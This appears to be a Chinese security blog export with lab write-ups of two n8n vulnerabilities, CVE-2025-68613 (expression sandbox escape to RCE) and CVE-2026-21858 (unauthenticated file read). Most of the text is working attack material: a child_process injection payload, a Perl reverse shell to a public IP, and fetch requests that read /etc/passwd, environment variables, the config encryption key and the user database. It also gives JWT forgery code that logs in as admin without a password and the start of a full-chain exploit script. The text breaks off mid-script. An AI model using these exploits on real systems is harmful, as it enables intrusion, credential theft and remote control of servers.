docker.n8n.io/n8nio/n8n:1.71.0 26 restart: always 27 environment: 28 - DB_TYPE=postgresdb 29 - DB_POSTGRESDB_HOST=postgres 30 - DB_POSTGRESDB_PORT=5432 31 - DB_POSTGRESDB_DATABASE=n8n_db 32 - DB_POSTGRESDB_USER=n8n_user 33 - DB_POSTGRESDB_PASSWORD=n8n_password 34 ports: 35 - 5678:5678 36 links: 37 - postgres 38 volumes: 39 - n8n_storage:/home/node/.n8n 40 depends_on: 41 postgres: 42 condition: service_healthy 利用步骤 打开页面，随便注册一个账号。这一步对应实际渗透过程中，攻击者已经通过其他途径获得登录账号。假如n8n系统本身就是弱密码，将会让风险提高。\n实际登陆界面\n创建一个新的 Workflow 并添加一个 Manual Trigger 节点，添加 Edit Fields(Set) 选项：\n点击 Add Field，此处需要填写 name 和 value。name 处填入任意内容，在 value 处填入以下代码，切换到 Expression。点击 Test step 测试执行：\n1{{ (function(){ return this.process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;id\u0026#39;).toString() })() }} 部分版本也可以直接新增exec节点\n直接新建一个exec节点 想要弹回shell发现没有nc也没有python，ls /bin 发现有perl, perl也可以弹 1perl -e \u0026#39;use Socket;$i=\u0026#34;公网ip\u0026#34;;$p=4777;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\u0026#34;tcp\u0026#34;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\u0026#34;\u0026gt;\u0026amp;S\u0026#34;);open(STDOUT,\u0026#34;\u0026gt;\u0026amp;S\u0026#34;);open(STDERR,\u0026#34;\u0026gt;\u0026amp;S\u0026#34;);exec(\u0026#34;/bin/sh -i\u0026#34;);};\u0026#39; 🛡️ 防御措施 通用修补建议\n官方已发布漏洞补丁及修复版本，请评估业务是否受影响后，酌情升级至安全版本： https://github.com/n8n-io/n8n/releases 临时缓解措施\n限制工作流创建和编辑权限，仅授予完全可信的用户。 在加固的环境中部署 n8n，限制操作系统权限和网络访问，以减少潜在利用的影响。 🔗 参考资源 官方公告 https://www.cve.org/CVERecord?id=CVE-2025-68613\n技术分析 https://github.com/n8n-io/n8n/commit/08f332015153decdda3c37ad4fcb9f7ba13a7c79 https://github.com/n8n-io/n8n/commit/1c933358acef527ff61466e53268b41a04be1000 https://github.com/n8n-io/n8n/commit/39a2d1d60edde89674ca96dcbb3eb076ffff6316 https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp PoC/Exploit n8n 表达式沙箱逃逸导致远程代码执行漏洞 CVE-2025-68613\n","date":"2026-01-14T21:48:55+08:00","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251219144259217.png","permalink":"/post/cve-2025-68613-n8n-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%AF%BC%E8%87%B4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/","title":"CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。\n学安全，别只看书上手练，就来好靶场，本WP靶场已开放，欢迎体验：\n🔗 入口：http://www.loveli.com.cn/see_bug_one?id=581\n✅ 邀请码：48ffd1d7eba24bf4\n🎁 填写即领 7 天高级会员，解锁更多漏洞实战环境！快来一起实战吧！👇\n因为是非常火的洞，Github上一搜就有poc\nCVE-2025-68613 的进入方法 https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/n8n%20%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%AF%BC%E8%87%B4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%20CVE-2025-68613.md [[CVE-2025-68613 n8n 表达式沙箱逃逸导致远程代码执行漏洞]]\n打开页面，随便注册一个账号\n创建 Edit Fields(Set) 节点 创建一个新的 Workflow 并添加一个 Manual Trigger 节点，添加 Edit Fields(Set) 选项：\n点击 Add Field，此处需要填写 name 和 value。name 处填入任意内容，在 value 处填入以下代码，切换到 Expression。点击 Test step 测试执行：\n1{{ (function(){ return this.process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;id\u0026#39;).toString() })() }} 最后ls目录发现flag在/tmp目录下。\n1 2{{ (function(){ return this.process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;cat /tmp/flag.txt\u0026#39;).toString() })() }} flag{93c67d9043f045b399fe6896b10395dc}\n或者创建exec节点直接执行命令（注意有没有权限） 直接新建一个exec节点 想要弹回shell发现没有nc也没有python，ls /bin 发现有perl, perl也可以弹 1perl -e \u0026#39;use Socket;$i=\u0026#34;公网ip\u0026#34;;$p=4777;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\u0026#34;tcp\u0026#34;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\u0026#34;\u0026gt;\u0026amp;S\u0026#34;);open(STDOUT,\u0026#34;\u0026gt;\u0026amp;S\u0026#34;);open(STDERR,\u0026#34;\u0026gt;\u0026amp;S\u0026#34;);exec(\u0026#34;/bin/sh -i\u0026#34;);};\u0026#39; flag{c006fa82940946b1a5c261198dfba1c5}\nCVE-2026-21858 的进入方法 https://github.com/Chocapikk/CVE-2026-21858 把下面的代码保存为n8n_vuln_workflow.py文件\n1#!/usr/bin/env python3 2\u0026#34;\u0026#34;\u0026#34; 3CVE-2026-21858 漏洞工作流部署脚本 4用于在已知登录凭据的n8n实例上部署易受攻击的工作流配置 5\u0026#34;\u0026#34;\u0026#34; 6 7import requests 8import json 9import sys 10import argparse 11 12# 正确的漏洞工作流配置（与你提供的配置一致） 13VULNERABLE_WORKFLOW = { 14 \u0026#34;name\u0026#34;: \u0026#34;Vulnerable Form\u0026#34;, 15 \u0026#34;nodes\u0026#34;: [ 16 { 17 \u0026#34;parameters\u0026#34;: { 18 \u0026#34;formTitle\u0026#34;: \u0026#34;Upload\u0026#34;, 19 \u0026#34;formFields\u0026#34;: { 20 \u0026#34;values\u0026#34;: [ 21 { 22 \u0026#34;fieldLabel\u0026#34;: \u0026#34;document\u0026#34;, 23 \u0026#34;fieldType\u0026#34;: \u0026#34;file\u0026#34; 24 } 25 ] 26 }, 27 \u0026#34;responseMode\u0026#34;: \u0026#34;responseNode\u0026#34;, 28 \u0026#34;options\u0026#34;: {} 29 }, 30 \u0026#34;id\u0026#34;: \u0026#34;trigger\u0026#34;, 31 \u0026#34;name\u0026#34;: \u0026#34;Form Trigger\u0026#34;, 32 \u0026#34;type\u0026#34;: \u0026#34;n8n-nodes-base.formTrigger\u0026#34;, 33 \u0026#34;typeVersion\u0026#34;: 2.2, 34 \u0026#34;position\u0026#34;: [0, 0], 35 \u0026#34;webhookId\u0026#34;: \u0026#34;vulnerable-form\u0026#34; 36 }, 37 { 38 \u0026#34;parameters\u0026#34;: { 39 \u0026#34;respondWith\u0026#34;: \u0026#34;binary\u0026#34;, 40 \u0026#34;options\u0026#34;: {} 41 }, 42 \u0026#34;id\u0026#34;: \u0026#34;respond\u0026#34;, 43 \u0026#34;name\u0026#34;: \u0026#34;Respond\u0026#34;, 44 \u0026#34;type\u0026#34;: \u0026#34;n8n-nodes-base.respondToWebhook\u0026#34;, 45 \u0026#34;typeVersion\u0026#34;: 1.1, 46 \u0026#34;position\u0026#34;: [300, 0] 47 } 48 ], 49 \u0026#34;pinData\u0026#34;: {}, 50 \u0026#34;connections\u0026#34;: { 51 \u0026#34;Form Trigger\u0026#34;: { 52 \u0026#34;main\u0026#34;: [ 53 [ 54 { 55 \u0026#34;node\u0026#34;: \u0026#34;Respond\u0026#34;, 56 \u0026#34;type\u0026#34;: \u0026#34;main\u0026#34;, 57 \u0026#34;index\u0026#34;: 0 58 } 59 ] 60 ] 61 } 62 }, 63 \u0026#34;active\u0026#34;: True, 64 \u0026#34;settings\u0026#34;: { 65 \u0026#34;executionOrder\u0026#34;: \u0026#34;v1\u0026#34; 66 }, 67 \u0026#34;tags\u0026#34;: [] 68} 69 70def login_n8n(base_url, email, password): 71 \u0026#34;\u0026#34;\u0026#34;登录n8n并返回session\u0026#34;\u0026#34;\u0026#34; 72 session = requests.Session() 73 74 print(f\u0026#34;[*] 正在登录 {base_url}...\u0026#34;) 75 print(f\u0026#34; 邮箱: {email}\u0026#34;) 76 77 try: 78 login_resp = session.post( 79 f\u0026#34;{base_url}/rest/login\u0026#34;, 80 json={\u0026#34;email\u0026#34;: email, \u0026#34;password\u0026#34;: password}, 81 timeout=15 82 ) 83 84 if login_resp.status_code == 200: 85 print(\u0026#34;[✓] 登录成功\u0026#34;) 86 return session 87 else: 88 print(f\u0026#34;[✗] 登录失败: HTTP {login_resp.status_code}\u0026#34;) 89 print(f\u0026#34; 响应: {login_resp.text[:200]}\u0026#34;) 90 return None 91 92 except requests.exceptions.RequestException as e: 93 print(f\u0026#34;[✗] 连接失败: {e}\u0026#34;) 94 return None 95 96def check_existing_workflow(session, base_url): 97 \u0026#34;\u0026#34;\u0026#34;检查是否已存在同名工作流\u0026#34;\u0026#34;\u0026#34; 98 try: 99 resp = session.get(f\u0026#34;{base_url}/rest/workflows\u0026#34;, timeout=10) 100 if resp.ok: 101 workflows = resp.json().get(\u0026#39;data\u0026#39;, []) 102 for wf in workflows: 103 if wf.get(\u0026#39;name\u0026#39;) == \u0026#39;Vulnerable Form\u0026#39;: 104 return wf.get(\u0026#39;id\u0026#39;) 105 return None 106 except: 107 return None 108 109def delete_workflow(session, base_url, workflow_id): 110 \u0026#34;\u0026#34;\u0026#34;删除已存在的工作流\u0026#34;\u0026#34;\u0026#34; 111 try: 112 resp = session.delete(f\u0026#34;{base_url}/rest/workflows/{workflow_id}\u0026#34;, timeout=10) 113 return resp.ok 114 except: 115 return False 116 117def deploy_workflow(session, base_url): 118 \u0026#34;\u0026#34;\u0026#34;部署漏洞工作流\u0026#34;\u0026#34;\u0026#34; 119 120 # 检查是否已存在 121 existing_id = check_existing_workflow(session, base_url) 122 if existing_id: 123 print(f\u0026#34;[!] 发现已存在的 \u0026#39;Vulnerable Form\u0026#39; 工作流 (ID: {existing_id})\u0026#34;) 124 print(\u0026#34;[*] 正在删除旧工作流...\u0026#34;) 125 if delete_workflow(session, base_url, existing_id): 126 print(\u0026#34;[✓] 旧工作流已删除\u0026#34;) 127 else: 128 print(\u0026#34;[!] 删除失败，继续创建...\u0026#34;) 129 130 print(\u0026#34;[*] 正在创建漏洞工作流...\u0026#34;) 131 132 try: 133 create_resp = session.post( 134 f\u0026#34;{base_url}/rest/workflows\u0026#34;, 135 json=VULNERABLE_WORKFLOW, 136 timeout=15 137 ) 138 139 if not create_resp.ok: 140 print(f\u0026#34;[✗] 创建失败: HTTP {create_resp.status_code}\u0026#34;) 141 print(f\u0026#34; 响应: {create_resp.text[:500]}\u0026#34;) 142 return None 143 144 workflow_data = create_resp.json().get(\u0026#39;data\u0026#39;, {}) 145 workflow_id = workflow_data.get(\u0026#39;id\u0026#39;) 146 147 if not workflow_id: 148 print(\u0026#34;[✗] 无法获取工作流ID\u0026#34;) 149 print(f\u0026#34; 响应: {create_resp.text[:500]}\u0026#34;) 150 return None 151 152 print(f\u0026#34;[✓] 工作流创建成功!\u0026#34;) 153 print(f\u0026#34; ID: {workflow_id}\u0026#34;) 154 print(f\u0026#34; 名称: {workflow_data.get(\u0026#39;name\u0026#39;)}\u0026#34;) 155 156 # 确保工作流已激活 157 print(\u0026#34;[*] 正在激活工作流...\u0026#34;) 158 activate_resp = session.patch( 159 f\u0026#34;{base_url}/rest/workflows/{workflow_id}\u0026#34;, 160 json={\u0026#34;active\u0026#34;: True}, 161 timeout=10 162 ) 163 164 if activate_resp.ok: 165 print(\u0026#34;[✓] 工作流已激活\u0026#34;) 166 else: 167 print(f\u0026#34;[!] 激活失败: HTTP {activate_resp.status_code}\u0026#34;) 168 print(\u0026#34; 工作流已创建但未激活，请手动激活\u0026#34;) 169 170 return workflow_id 171 172 except requests.exceptions.RequestException as e: 173 print(f\u0026#34;[✗] 请求失败: {e}\u0026#34;) 174 return None 175 176def print_usage_instructions(base_url, workflow_id): 177 \u0026#34;\u0026#34;\u0026#34;打印使用说明\u0026#34;\u0026#34;\u0026#34; 178 webhook_url = f\u0026#34;{base_url}/form/vulnerable-form\u0026#34; 179 180 print(\u0026#34;\\n\u0026#34; + \u0026#34;=\u0026#34;*70) 181 print(\u0026#34;部署成功! 漏洞工作流已就绪\u0026#34;) 182 print(\u0026#34;=\u0026#34;*70) 183 184 print(f\u0026#34;\\n📋 工作流信息:\u0026#34;) 185 print(f\u0026#34; 管理界面: {base_url}/workflow/{workflow_id}\u0026#34;) 186 print(f\u0026#34; Webhook URL: {webhook_url}\u0026#34;) 187 188 print(f\u0026#34;\\n🔍 测试漏洞 - 读取文件:\u0026#34;) 189 print(f\u0026#34;\\n # 使用浏览器控制台:\u0026#34;) 190 print(f\u0026#34;\u0026#34;\u0026#34; fetch(\u0026#39;{webhook_url}\u0026#39;, {{ 191 method: \u0026#39;POST\u0026#39;, 192 headers: {{\u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;}}, 193 body: JSON.stringify({{ 194 data: {{}}, 195 files: {{ 196 test: {{ 197 filepath: \u0026#39;/etc/hostname\u0026#39;, 198 originalFilename: \u0026#39;test.txt\u0026#39;, 199 mimetype: \u0026#39;text/plain\u0026#39;, 200 size: 100 201 }} 202 }} 203 }}) 204 }}) 205 .then(r =\u0026gt; r.text()) 206 .then(console.log);\u0026#34;\u0026#34;\u0026#34;) 207 208 print(f\u0026#34;\\n # 或使用 curl:\u0026#34;) 209 print(f\u0026#34;\u0026#34;\u0026#34; curl -X POST \u0026#39;{webhook_url}\u0026#39; \\\\ 210 -H \u0026#39;Content-Type: application/json\u0026#39; \\\\ 211 -d \u0026#39;{{\u0026#34;data\u0026#34;:{{}}, \u0026#34;files\u0026#34;:{{\u0026#34;test\u0026#34;:{{\u0026#34;filepath\u0026#34;:\u0026#34;/etc/hostname\u0026#34;,\u0026#34;originalFilename\u0026#34;:\u0026#34;test.txt\u0026#34;,\u0026#34;mimetype\u0026#34;:\u0026#34;text/plain\u0026#34;,\u0026#34;size\u0026#34;:100}}}}}}\u0026#39;\u0026#34;\u0026#34;\u0026#34;) 212 213 print(f\u0026#34;\\n🎯 完整利用链:\u0026#34;) 214 print(f\u0026#34; 1. 读取配置: /root/.n8n/config 或 /home/node/.n8n/config\u0026#34;) 215 print(f\u0026#34; 2. 读取数据库: /root/.n8n/database.sqlite\u0026#34;) 216 print(f\u0026#34; 3. 伪造JWT令牌\u0026#34;) 217 print(f\u0026#34; 4. 登录管理后台\u0026#34;) 218 print(f\u0026#34; 5. 创建RCE工作流\u0026#34;) 219 220 print(\u0026#34;\\n\u0026#34; + \u0026#34;=\u0026#34;*70 + \u0026#34;\\n\u0026#34;) 221 222def main(): 223 parser = argparse.ArgumentParser( 224 description=\u0026#39;CVE-2026-21858 漏洞工作流部署脚本\u0026#39;, 225 formatter_class=argparse.RawDescriptionHelpFormatter, 226 epilog=\u0026#34;\u0026#34;\u0026#34; 227示例: 228 python3 deploy_vuln_workflow.py http://target-ip:5678 admin@exploit.local password123 229 python3 deploy_vuln_workflow.py https://n8n.example.com admin@example.com MyP@ssw0rd 230 \u0026#34;\u0026#34;\u0026#34; 231 ) 232 233 parser.add_argument(\u0026#39;url\u0026#39;, help=\u0026#39;n8n实例URL (例: http://localhost:5678)\u0026#39;) 234 parser.add_argument(\u0026#39;email\u0026#39;, help=\u0026#39;管理员邮箱\u0026#39;) 235 parser.add_argument(\u0026#39;password\u0026#39;, help=\u0026#39;管理员密码\u0026#39;) 236 237 args = parser.parse_args() 238 239 # 清理URL 240 base_url = args.url.rstrip(\u0026#39;/\u0026#39;) 241 242 print(\u0026#34;=\u0026#34;*70) 243 print(\u0026#34;CVE-2026-21858 漏洞工作流部署工具\u0026#34;) 244 print(\u0026#34;=\u0026#34;*70) 245 print(f\u0026#34;目标: {base_url}\u0026#34;) 246 print(f\u0026#34;账号: {args.email}\u0026#34;) 247 print() 248 249 # 登录 250 session = login_n8n(base_url, args.email, args.password) 251 if not session: 252 print(\u0026#34;\\n[✗] 部署失败: 无法登录\u0026#34;) 253 sys.exit(1) 254 255 # 部署工作流 256 workflow_id = deploy_workflow(session, base_url) 257 if not workflow_id: 258 print(\u0026#34;\\n[✗] 部署失败: 无法创建工作流\u0026#34;) 259 sys.exit(1) 260 261 # 打印使用说明 262 print_usage_instructions(base_url, workflow_id) 263 264 sys.exit(0) 265 266if __name__ == \u0026#34;__main__\u0026#34;: 267 main() 然后运行，这里的模仿的是n8n的真实用户在使用过程中“不小心”的“恰好”创建了这样的一个工作流的节点。\n1python .\\n8n_vuln_workflow.py http://target-ip:5678 111@111.com passwd 这个节点是激活状态，而且是file配置。\n点击 http://8vccf5j.haobachang.loveli.com.cn:8888/form/vulnerable-form 打开可以看到文件上传的显示。这一步在实际渗透过程中是不需要用户登录的，任意用户都看得到这个界面，也就是任意读取，它可以让未授权的用户读到敏感文件。实际的CVE-2026-21858利用过程是从这里开始的，现在忘了之前设置的密码吧，假装你不知道登录密码。\nCVE-2025-68613 漏洞虽然可以RCE，但是前提条件是知道n8n系统的登录密码，而且这个账户还需要有节点编辑权限。也就是必须登录到下图这样节点编辑的界面才能成功执行，如果不知道账户密码，或者登录的账户没有节点编辑权限的话就没办法，只能干瞪眼。这时候CVE-2026-2185来了，这个漏洞可以在不登陆的情况下，获得系统一些敏感文件的读取权限，从而访问比如 /etc/passwd 这样的文件获得密码。从而实现完整的攻击链条。\n按F12打开控制台Console输入如下内容\n1fetch(\u0026#39;http://target-ip:5678/form/vulnerable-form\u0026#39;, { 2 method: \u0026#39;POST\u0026#39;, 3 headers: {\u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;}, 4 body: JSON.stringify({ 5 data: {}, 6 files: { 7 test: { 8 filepath: \u0026#39;/etc/passwd\u0026#39;, 9 originalFilename: \u0026#39;test.txt\u0026#39;, 10 mimetype: \u0026#39;text/plain\u0026#39;, 11 size: 100 12 } 13 } 14 }) 15}) 16.then(r =\u0026gt; r.text()) 17.then(console.log) 确认任意文件读取漏洞存在，然后读取计算jwt所需的文件。\n1// 1. 读取环境变量获取HOME目录 2fetch(\u0026#39;http://target-ip:5678/form/vulnerable-form\u0026#39;, { 3 method: \u0026#39;POST\u0026#39;, 4 headers: {\u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;}, 5 body: JSON.stringify({ 6 data: {}, 7 files: { 8 test: { 9 filepath: \u0026#39;/proc/self/environ\u0026#39;, 10 originalFilename: \u0026#39;environ.txt\u0026#39;, 11 mimetype: \u0026#39;text/plain\u0026#39;, 12 size: 1000 13 } 14 } 15 }) 16}) 17.then(r =\u0026gt; r.text()) 18.then(data =\u0026gt; { 19 console.log(\u0026#39;环境变量:\u0026#39;, data); 20 // 从输出中找到 HOME=/home/node 或 HOME=/root 21}); 22 23// 可能的配置文件路径 24const configPaths = [ 25 \u0026#39;/home/node/.n8n/config\u0026#39;, 26 \u0026#39;/root/.n8n/config\u0026#39;, 27 \u0026#39;/.n8n/config\u0026#39; 28]; 29 30// 尝试读取配置 31async function readConfig() { 32 for (const path of configPaths) { 33 try { 34 const response = await fetch(\u0026#39;http://target-ip:5678/form/vulnerable-form\u0026#39;, { 35 method: \u0026#39;POST\u0026#39;, 36 headers: {\u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;}, 37 body: JSON.stringify({ 38 data: {}, 39 files: { 40 config: { 41 filepath: path, 42 originalFilename: \u0026#39;config.json\u0026#39;, 43 mimetype: \u0026#39;application/json\u0026#39;, 44 size: 10000 45 } 46 } 47 }) 48 }); 49 50 const text = await response.text(); 51 if (!text.includes(\u0026#39;error\u0026#39;) \u0026amp;\u0026amp; !text.includes(\u0026#39;could not be started\u0026#39;)) { 52 console.log(`成功读取 ${path}:`, text); 53 return text; 54 } 55 } catch (e) { 56 console.log(`读取 ${path} 失败:`, e); 57 } 58 } 59} 60 61readConfig(); 62 63// 方法1: 尝试以文本形式读取（SQLite有些部分是可读文本） 64fetch(\u0026#39;http://target-ip:5678/form/vulnerable-form\u0026#39;, { 65 method: \u0026#39;POST\u0026#39;, 66 headers: {\u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;}, 67 body: JSON.stringify({ 68 data: {}, 69 files: { 70 db: { 71 filepath: \u0026#39;/root/.n8n/database.sqlite\u0026#39;, 72 originalFilename: \u0026#39;database.txt\u0026#39;, 73 mimetype: \u0026#39;text/plain\u0026#39;, // 改为text/plain 74 size: 500000 75 } 76 } 77 }) 78}) 79.then(r =\u0026gt; r.text()) 80.then(data =\u0026gt; { 81 console.log(\u0026#39;数据库内容（可能是二进制+文本混合）:\u0026#39;, data); 82 83 // 尝试提取邮箱地址（通常是可读文本） 84 const emailMatches = data.match(/[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}/g); 85 console.log(\u0026#39;找到的邮箱:\u0026#39;, emailMatches); 86 87 // 尝试提取bcrypt密码哈希 88 const bcryptMatches = data.match(/\\$2[aby]\\$\\d{2}\\$[./A-Za-z0-9]{53}/g); 89 console.log(\u0026#39;找到的密码哈希:\u0026#39;, bcryptMatches); 90 91 // 尝试提取UUID（用户ID） 92 const uuidMatches = data.match(/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/gi); 93 console.log(\u0026#39;找到的UUID:\u0026#39;, uuidMatches); 94}); 得到\n环境变量: COOKIE_VALUE=b9353203-81b6-420b-b662-8c027e1627e0 成功读取 /root/.n8n/config: { \u0026#34;encryptionKey\u0026#34;: \u0026#34;FTOwCm2ruG3b/upNMf9yvqn0d+W8TXKW\u0026#34; } 找到的邮箱: (3) [\u0026#39;111@111.com\u0026#39;, \u0026#39;%1f0d5d68-4447-4e62-b461-57c0c751e11c111@111.com\u0026#39;, \u0026#39;111@111.com\u0026#39;] VM84:27 找到的密码哈希: [\u0026#39;$2a$10$Xim.XqxLEYGpP7JIAwIkouq4PYcG1DE5IqEFlxPjCXQJoAdmsHkt6\u0026#39;] VM84:31 找到的UUID: (7) [\u0026#39;89f3a667-194f-455c-a277-b30c9bc612d0\u0026#39;, \u0026#39;717686a5-c248-45d7-ad21-f6f4a9ed2f38\u0026#39;, \u0026#39;1f0d5d68-4447-4e62-b461-57c0c751e11c\u0026#39;, \u0026#39;1f0d5d68-4447-4e62-b461-57c0c751e11c\u0026#39;, \u0026#39;1f0d5d68-4447-4e62-b461-57c0c751e11c\u0026#39;, \u0026#39;1f0d5d68-4447-4e62-b461-57c0c751e11c\u0026#39;, \u0026#39;1f0d5d68-4447-4e62-b461-57c0c751e11c\u0026#39;] 提取到的关键信息\nencryptionKey: FTOwCm2ruG3b/upNMf9yvqn0d+W8TXKW userId: 1f0d5d68-4447-4e62-b461-57c0c751e11c (出现5次，明显是管理员) email: 111@111.com passwordHash: $2a$10$Xim.XqxLEYGpP7JIAwIkouq4PYcG1DE5IqEFlxPjCXQJoAdmsHkt6 方法一：使用浏览器完成JWT伪造（纯手动） 在浏览器控制台运行以下代码：\n1// 第1步：加载crypto-js库 2const script = document.createElement(\u0026#39;script\u0026#39;); 3script.src = \u0026#39;https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js\u0026#39;; 4document.head.appendChild(script); 5 6// 第2步：等待3秒后运行JWT生成代码 7setTimeout(() =\u0026gt; { 8 // 已知信息 9 const encryptionKey = \u0026#34;FTOwCm2ruG3b/upNMf9yvqn0d+W8TXKW\u0026#34;; 10 const userId = \u0026#34;1f0d5d68-4447-4e62-b461-57c0c751e11c\u0026#34;; 11 const email = \u0026#34;111@111.com\u0026#34;; 12 const passwordHash = \u0026#34;$2a$10$Xim.XqxLEYGpP7JIAwIkouq4PYcG1DE5IqEFlxPjCXQJoAdmsHkt6\u0026#34;; 13 14 // 派生JWT secret（取偶数位字符） 15 let extracted = \u0026#39;\u0026#39;; 16 for (let i = 0; i \u0026lt; encryptionKey.length; i += 2) { 17 extracted += encryptionKey[i]; 18 } 19 const jwtSecret = CryptoJS.SHA256(extracted).toString(); 20 console.log(\u0026#39;🔑 JWT Secret:\u0026#39;, jwtSecret); 21 22 // 计算JWT hash 23 const combined = email + \u0026#39;:\u0026#39; + passwordHash; 24 const sha256Hash = CryptoJS.SHA256(combined); 25 const base64Hash = sha256Hash.toString(CryptoJS.enc.Base64); 26 const jwtHash = base64Hash.substring(0, 10); 27 console.log(\u0026#39;🔐 JWT Hash:\u0026#39;, jwtHash); 28 29 // 构造JWT Header和Payload 30 const header = {alg: \u0026#34;HS256\u0026#34;, typ: \u0026#34;JWT\u0026#34;}; 31 const payload = {id: userId, hash: jwtHash}; 32 33 // Base64URL编码 34 const base64urlEncode = (obj) =\u0026gt; { 35 return btoa(JSON.stringify(obj)) 36 .replace(/\\+/g, \u0026#39;-\u0026#39;) 37 .replace(/\\//g, \u0026#39;_\u0026#39;) 38 .replace(/=/g, \u0026#39;\u0026#39;); 39 }; 40 41 const headerB64 = base64urlEncode(header); 42 const payloadB64 = base64urlEncode(payload); 43 44 // 计算签名 45 const message = headerB64 + \u0026#39;.\u0026#39; + payloadB64; 46 const signature = CryptoJS.HmacSHA256(message, jwtSecret) 47 .toString(CryptoJS.enc.Base64) 48 .replace(/\\+/g, \u0026#39;-\u0026#39;) 49 .replace(/\\//g, \u0026#39;_\u0026#39;) 50 .replace(/=/g, \u0026#39;\u0026#39;); 51 52 // 完整JWT 53 const token = message + \u0026#39;.\u0026#39; + signature; 54 console.log(\u0026#39;✅ JWT Token:\u0026#39;, token); 55 56 // 设置Cookie，IP改成靶机的IP 57 document.cookie = `n8n-auth=${token}; path=/; domain=target-ip`; 58 console.log(\u0026#39;🍪 Cookie已设置！\u0026#39;); 59 console.log(\u0026#39;📍 现在访问: http://target-ip:5678/\u0026#39;); 60 61 // 自动跳转 62 setTimeout(() =\u0026gt; { 63 window.location.href = \u0026#39;http://target-ip:5678/\u0026#39;; 64 }, 1000); 65 66}, 3000); 自动跳转，直接就进来了，不用输入密码登录。然后就可以用之前CVE-2025-68613的方法了。\n脚本化利用 一键全自动脚本exploit.py\n1#!/usr/bin/env python3 2\u0026#34;\u0026#34;\u0026#34; 3CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain Exploit 4Arbitrary File Read → Admin Token Forge → Sandbox Bypass → RCE 5 6Author: Chocapikk 7GitHub: https://github.com/Chocapikk/CVE-2026-21858 8\u0026#34;\u0026#34;\u0026#34; 9 10import argparse 11import hashlib 12import json 13import secrets 14import sqlite3 15import string 16import tempfile 17from base64 import b64encode 18 19import jwt 20import requests 21from pwn import log 22 23BANNER = \u0026#34;\u0026#34;\u0026#34; 24╔═══════════════════════════════════════════════════════════════╗ 25║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║ 26║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║ 27║ ║ 28║ by Chocapikk ║ 29╚═══════════════════════════════════════════════════════════════╝ 30\u0026#34;\u0026#34;\u0026#34; 31 32RCE_PAYLOAD = \u0026#39;={{ (function() { var require = this.process.mainModule.require; var execSync = require(\u0026#34;child_process\u0026#34;).execSync; return execSync(\u0026#34;CMD\u0026#34;).toString(); })() }}\u0026#39; 33 34 35def randstr(n: int = 12) -\u0026gt; str: 36 return \u0026#34;\u0026#34;.join(secrets.choice(string.ascii_lowercase + string.digits) for _ in range(n)) 37 38 39def randpos() -\u0026gt; list[int]: 40 return [secrets.randbelow(500) + 100, secrets.randbelow(500) + 100] 41 42 43class Ni8mare: 44 def __init__(self, base_url: str, form_path: str): 45 self.base_url = base_url.rstrip(\u0026#34;/\u0026#34;) 46 self.form_url = f\u0026#34;{self.base_url}/{form_path.lstrip(\u0026#39;/\u0026#39;)}\u0026#34; 47 self.session = requests.Session() 48 self.admin_token = None 49 50 def _api(self, method: str, path: str, **kwargs) -\u0026gt; requests.Response | None: 51 kwargs.setdefault(\u0026#34;timeout\u0026#34;, 30) 52 kwargs.setdefault(\u0026#34;cookies\u0026#34;, {\u0026#34;n8n-auth\u0026#34;: self.admin_token} if self.admin_token else {}) 53 resp = self.session.request(method, f\u0026#34;{self.base_url}{path}\u0026#34;, **kwargs) 54 return resp if resp.ok else None 55 56 def _lfi_payload(self, filepath: str) -\u0026gt; dict: 57 return { 58 \u0026#34;data\u0026#34;: {}, 59 \u0026#34;files\u0026#34;: { 60 f\u0026#34;f-{randstr(6)}\u0026#34;: { 61 \u0026#34;filepath\u0026#34;: filepath, 62 \u0026#34;originalFilename\u0026#34;: f\u0026#34;{randstr(8)}.bin\u0026#34;, 63 \u0026#34;mimetype\u0026#34;: \u0026#34;application/octet-stream\u0026#34;, 64 \u0026#34;size\u0026#34;: secrets.randbelow(90000) + 10000 65 } 66 } 67 } 68 69 def _build_nodes(self, command: str) -\u0026gt; tuple[list, dict, str, str]: 70 trigger_name, rce_name = f\u0026#34;T-{randstr(8)}\u0026#34;, f\u0026#34;R-{randstr(8)}\u0026#34; 71 result_var = f\u0026#34;v{randstr(6)}\u0026#34; 72 payload_value = RCE_PAYLOAD.replace(\u0026#34;CMD\u0026#34;, command.replace(\u0026#39;\u0026#34;\u0026#39;, \u0026#39;\\\\\u0026#34;\u0026#39;)) 73 nodes = [ 74 